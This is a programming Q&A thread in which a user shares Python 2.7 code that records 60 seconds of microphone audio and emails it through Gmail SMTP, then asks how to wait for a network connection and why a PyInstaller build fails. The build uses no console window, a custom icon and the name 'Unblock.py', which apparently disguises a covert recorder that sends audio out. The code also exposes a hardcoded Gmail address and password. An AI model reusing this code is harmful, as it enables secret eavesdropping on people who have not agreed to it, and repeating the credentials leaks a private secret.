1

I have this python code

import smtplib
import mimetypes
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import urllib2
import pyaudio
import wave
import os
import httplib
import urllib2
from time import sleep
import yagmail
import netifaces
import urllib2,thread

check = _check()
thread.start_new_thread(check.timer,(None,))
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 24000
CHUNK = 1024
RECORD_SECONDS = 60
WAVE_OUTPUT_FILENAME = "file.wav"
audio = pyaudio.PyAudio()
stream = audio.open(format=FORMAT, channels=CHANNELS,
rate=RATE, input=True,
frames_per_buffer=CHUNK)
frames = []
for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):
        data = stream.read(CHUNK)
        frames.append(data)
# stop Recording
stream.stop_stream()
stream.close()
audio.terminate()
waveFile = wave.open(WAVE_OUTPUT_FILENAME, 'wb')
waveFile.setnchannels(CHANNELS)
waveFile.setsampwidth(audio.get_sample_size(FORMAT))
waveFile.setframerate(RATE)
waveFile.writeframes(b''.join(frames))
waveFile.close()
emailfrom = "hi@gmail.com"
emailto = "amitaagarwal565@gmail.com"
fileToSend = "file.wav"
username = "amitaagarwal565@gmail.com"
password = "tuduxglywgiczkjl"

msg = MIMEMultipart()
msg["From"] = emailfrom
msg["To"] = emailto
msg["Subject"] = "This is file.wav"
msg.preamble = "This is file.wav"

ctype, encoding = mimetypes.guess_type(fileToSend)
if ctype is None or encoding is not None:
    ctype = "application/octet-stream"

maintype, subtype = ctype.split("/", 1)

if maintype == "text":
    fp = open(fileToSend)
    # Note: we should handle calculating the charset
    attachment = MIMEText(fp.read(), _subtype=subtype)
    fp.close()
elif maintype == "image":
    fp = open(fileToSend, "rb")
    attachment = MIMEImage(fp.read(), _subtype=subtype)
    fp.close()
elif maintype == "audio":
    fp = open(fileToSend, "rb")
    attachment = MIMEAudio(fp.read(), _subtype=subtype)
    fp.close()
else:
    fp = open(fileToSend, "rb")
    attachment = MIMEBase(maintype, subtype)
    attachment.set_payload(fp.read())
    fp.close()
   encoders.encode_base64(attachment)
attachment.add_header("Content-Disposition", "attachment",     filename=fileToSend)
msg.attach(attachment)

server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login(username,password)
server.sendmail(emailfrom, emailto, msg.as_string())
server.quit()
print "done"

Which records any sound for 60 seconds and sends it to my email. However it won't work if there is no internet connection. So a simple solution would be to wait for a connection and then start the script. Can anyone help me there. There are threads about this but they are quite too advanced for me and want to understand how it is done more that just copy/pasting.

Note I use 32 bit python on 64 bit machine. The python version is 2.7

Regards,

EDIT: SO I figured this out myself and got this far

   (The recording code)
#STart of the figured code
loop_value = 1
while loop_value==1:
    try:
        urllib2.urlopen("https://google.com")
    except urllib2.URLError, e:
        print "Network currently down." 
        sleep(20)
    else:
        print "Up and running." 
        loop_value = 0
#End of the figured code
(Email code below this)

So like this I would get accurate timing to whether it is connected to internet or not and if not it would go in a loop until it finds it out. However when I compiled it into a Single executable file with pyinstaller, an fatal error comes up like this:-

Fatal Error!
Unblock returned -1

Please note that the name of the script is Unblock.py. The command I used to compile it into an exe was pyinstaller --onefile --noconsole --icon=icon.ico --version-file=version.txt Unblock.py

What am I doing wrong?

  • 2
    I would suggest you proceed according to [this answer](http://stackoverflow.com/a/3764315/3991164). Or do you want to start *the recording* only after internet connection is available? Then you will *not* be sure that it will be still available after the recording and so you are left with the same issue as before... – flaschbier Apr 02 '16 at 08:02
  • 1
    @flaschbier Post is updated –  Apr 02 '16 at 13:58
  • 1
    Let's isolate things from another. Does the script work as expected when running in the Pthon interpreter? – flaschbier Apr 02 '16 at 17:54
  • 1
    @flaschbier Yes it does, I think that the problem is with Pyinstaller. I compiled with py2exe and it worked good. However I would really like someone to solve this as I prefer Pyinstaller over Py2exe –  Apr 02 '16 at 18:13

0 Answers0